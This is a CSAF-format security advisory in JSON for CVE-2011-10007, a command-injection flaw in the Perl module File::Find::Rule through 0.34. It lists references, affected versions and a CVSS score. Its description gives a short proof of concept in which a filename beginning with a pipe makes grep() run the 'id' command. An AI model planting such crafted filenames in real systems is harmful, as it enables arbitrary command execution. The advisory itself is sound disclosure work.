{ "document": { "category": "csaf_security_advisory", "csaf_version": "2.0", "distribution": { "tlp": { "label": "WHITE", "url": "https://www.first.org/tlp/" } }, "lang": "en", "notes": [ { "category": "description", "text": "File::Find::Rule through 0.34 for Perl is vulnerable to Arbitrary Code Execution when `grep()` encounters a crafted filename. A file handle is opened with the 2 argument form of `open()` allowing an attacker controlled filename to provide the MODE parameter to `open()`, turning the filename into a command to be executed. Example: $ mkdir /tmp/poc; echo > \"/tmp/poc/|id\" $ perl -MFile::Find::Rule \\     -E 'File::Find::Rule->grep(\"foo\")->in(\"/tmp/poc\")' uid=1000(user) gid=1000(user) groups=1000(user),100(users)", "title": "Vulnerability Description" } ], "publisher": { "category": "other", "contact_details": "gdt@cpan.org", "name": "giterlizzi", "namespace": "https://github.com/giterlizzi/" }, "references": [ { "category": "self", "summary": "CPANSA-File-Find-Rule-2011-10007 JSON", "url": "https://raw.githubusercontent.com/giterlizzi/perl-CPANSA-CSAF/develop/csaf/white/2025/cpansa-file-find-rule-2011-10007.json" }, { "category": "external", "summary": "https://github.com/richardc/perl-file-find-rule/commit/df58128bcee4c1da78c34d7f3fe1357e575ad56f.patch", "url": "https://github.com/richardc/perl-file-find-rule/commit/df58128bcee4c1da78c34d7f3fe1357e575ad56f.patch" }, { "category": "external", "summary": "https://github.com/richardc/perl-file-find-rule/pull/4", "url": "https://github.com/richardc/perl-file-find-rule/pull/4" }, { "category": "external", "summary": "https://metacpan.org/release/RCLAMP/File-Find-Rule-0.34/source/lib/File/Find/Rule.pm#L423", "url": "https://metacpan.org/release/RCLAMP/File-Find-Rule-0.34/source/lib/File/Find/Rule.pm#L423" }, { "category": "external", "summary": "https://rt.cpan.org/Public/Bug/Display.html?id=64504", "url": "https://rt.cpan.org/Public/Bug/Display.html?id=64504" }, { "category": "external", "summary": "http://www.openwall.com/lists/oss-security/2025/06/05/4", "url": "http://www.openwall.com/lists/oss-security/2025/06/05/4" }, { "category": "external", "summary": "http://www.openwall.com/lists/oss-security/2025/06/06/1", "url": "http://www.openwall.com/lists/oss-security/2025/06/06/1" }, { "category": "external", "summary": "http://www.openwall.com/lists/oss-security/2025/06/06/3", "url": "http://www.openwall.com/lists/oss-security/2025/06/06/3" }, { "category": "external", "summary": "https://lists.debian.org/debian-lts-announce/2025/06/msg00006.html", "url": "https://lists.debian.org/debian-lts-announce/2025/06/msg00006.html" }, { "category": "external", "summary": "https://github.com/richardc/perl-file-find-rule/pull/4", "url": "https://github.com/richardc/perl-file-find-rule/pull/4" }, { "category": "external", "summary": "CVE-2011-10007 (NVD)", "url": "https://nvd.nist.gov/vuln/detail/CVE-2011-10007" } ], "title": "File-Find-Rule vulnerability", "tracking": { "current_release_date": "2025-06-05T00:00:00", "generator": { "engine": { "name": "CSAF Perl Toolkit", "version": "0.26" } }, "id": "CPANSA-File-Find-Rule-2011-10007", "initial_release_date": "2025-06-05T00:00:00", "revision_history": [ { "date": "2025-06-05T00:00:00", "number": "1", "summary": "First release" } ], "status": "final", "version": "1" } }, "product_tree": { "branches": [ { "branches": [ { "category": "product_version_range", "name": "vers:cpan/<=0.34", "product": { "name": "File-Find-Rule less than or equal 0.34", "product_id": "CSAFPID-0001" } }, { "category": "product_version_range", "name": "vers:cpan/>=0.35", "product": { "name": "File-Find-Rule greater than or equal 0.35", "product_id": "CSAFPID-0002" } } ], "category": "product_name", "name": "File-Find-Rule" } ] }, "vulnerabilities": [ { "cve": "CVE-2011-10007", "cwe": { "id": "CWE-78", "name": "Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')" }, "notes": [ { "category": "description", "text": "File::Find::Rule through 0.34 for Perl is vulnerable to Arbitrary Code Execution when `grep()` encounters a crafted filename.\n\nA file handle is opened with the 2 argument form of `open()` allowing an attacker controlled filename to provide the MODE parameter to `open()`, turning the filename into a command to be executed.\n\nExample:\n\n$ mkdir /tmp/poc; echo > \"/tmp/poc/|id\"\n$ perl -MFile::Find::Rule \\\n    -E 'File::Find::Rule->grep(\"foo\")->in(\"/tmp/poc\")'\nuid=1000(user) gid=1000(user) groups=1000(user),100(users)", "title": "Vulnerability Description" } ], "product_status": { "fixed": [ "CSAFPID-0002" ], "known_affected": [ "CSAFPID-0001" ] }, "scores": [ { "cvss_v3": { "baseScore": 8.8, "baseSeverity": "HIGH", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H", "version": "3.1" }, "products": [ "CSAFPID-0001" ] } ] } ] }